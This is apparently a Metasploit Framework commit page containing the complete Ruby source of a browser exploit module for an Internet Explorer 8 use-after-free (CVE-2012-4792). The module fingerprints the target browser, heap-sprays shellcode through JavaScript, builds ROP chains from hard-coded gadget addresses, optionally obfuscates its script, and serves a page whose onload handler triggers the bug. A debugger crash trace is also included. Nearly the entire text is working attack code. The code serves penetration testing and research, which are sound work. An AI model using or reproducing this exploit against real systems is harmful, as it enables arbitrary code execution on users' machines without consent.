Merge branch 'master' of github.com:rapid7/metasploit-framework
Joshua J. Drake
commit
d603f9a444
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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def initialize(info={})
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super(update_info(info,
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'Name' => "Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability found in Microsoft Internet Explorer. A
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use-after-free condition occurs when a CDwnBindInfo object is freed by
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FollowHyperlink2, but a reference is kept in CDoc. As a result, when the reference
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is used again during a page reload, an invalid memory that's controllable is used,
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and allows arbitrary code execution under the context of the user.
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Please note: This vulnerability has been exploited in the wild targeting
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mainly China/Taiwan/and US-based computers.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'eromang',
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'mahmud ab rahman',
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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[ 'CVE', '2012-4792' ],
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[ 'US-CERT-VU', '154201' ],
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[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
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[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
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[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
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[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ]
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],
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'Payload' =>
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{
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'Space' => 980,
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
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[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
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[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
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],
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'Privileged' => false,
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'DisclosureDate' => "Dec 27 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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ie_name = "IE #{ie}"
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '6.0'
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os_name = 'Windows Vista'
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when '6.1'
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os_name = 'Windows 7'
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end
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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print_status("Target selected as: #{t.name}")
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return t
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end
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end
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return nil
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end
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def ie_heap_spray(my_target, p)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
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# Land the payload at 0x0c0c0b30
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js = %Q|
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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var overflow = nops.substring(0, 10);
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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return js
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end
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def get_payload(t, cli)
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code = payload.encoded
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# No rop. Just return the payload.
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return code if t['Rop'].nil?
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=begin
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Stack Pivoting to eax:
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0:008> db eax
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0c0c0b30 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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0c0c0b40 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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=end
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# Both ROP chains generated by mona.py - See corelan.be
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case t['Rop']
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when :msvcrt
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print_status("Using msvcrt ROP")
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stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
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stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
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stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
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rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
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else
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print_status("Using JRE ROP")
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stack_pivot = [0x7c348b06].pack("V") * 54 # ret
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stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret
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stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
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rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
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end
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return rop_payload
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end
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def load_exploit_html(my_target, cli)
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p = get_payload(my_target, cli)
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js = ie_heap_spray(my_target, p)
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html = %Q|
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<!doctype html>
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<html>
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<head>
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<script>
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#{js}
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function exploit()
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{
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var e0 = null;
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var e1 = null;
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var e2 = null;
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var arrObject = new Array(3000);
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var elmObject = new Array(500);
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for (var i = 0; i < arrObject.length; i++)
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{
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arrObject[i] = document.createElement('div');
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arrObject[i].className = unescape("ababababababababababababababababababababa");
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}
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for (var i = 0; i < arrObject.length; i += 2)
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{
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arrObject[i].className = null;
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}
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CollectGarbage();
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for (var i = 0; i < elmObject.length; i ++)
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{
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elmObject[i] = document.createElement('button');
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}
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for (var i = 1; i < arrObject.length; i += 2)
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{
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arrObject[i].className = null;
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}
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CollectGarbage();
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try {
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e0 = document.getElementById("a");
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e1 = document.getElementById("b");
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e2 = document.createElement("q");
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e1.applyElement(e2);
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e1.appendChild(document.createElement('button'));
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e1.applyElement(e0);
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e2.outerText = "";
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e2.appendChild(document.createElement('body'));
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} catch(e) { }
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CollectGarbage();
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for(var i =0; i < 20; i++)
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{
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arrObject[i].className = unescape("ababababababababababababababababababababa");
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}
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var eip = window;
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var data = "https://www.google.com/settings/account";
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eip.location = unescape("%u0b30%u0c0c" + data);
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}
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</script>
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</head>
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<body onload="eval(exploit())">
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<form id="a">
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</form>
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<dfn id="b">
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</dfn>
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</body>
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</html>
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return html
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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uri = request.uri
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print_status("Requesting: #{uri}")
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my_target = get_target(agent)
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# Avoid the attack if no suitable target found
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if my_target.nil?
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print_error("Browser not supported, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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html = load_exploit_html(my_target, cli)
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html = html.gsub(/^\t\t/, '')
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print_status("Sending HTML...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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=begin
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(87c.f40): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
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eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
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mshtml!CMarkup::OnLoadStatusDone+0x504:
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637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
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0:008> k
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ChildEBP RetAddr
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020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
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020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
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020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
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020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
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020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
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020bfd78 7e418734 mshtml!GlobalWndProc+0x183
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020bfda4 7e418816 USER32!InternalCallWinProc+0x28
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020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
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020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
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020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
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020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
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020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
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020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
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020bffec 00000000 kernel32!BaseThreadStart+0x37
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0:008> r
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eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
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eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
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mshtml!CMarkup::OnLoadStatusDone+0x504:
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637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
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=end
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Reference in New Issue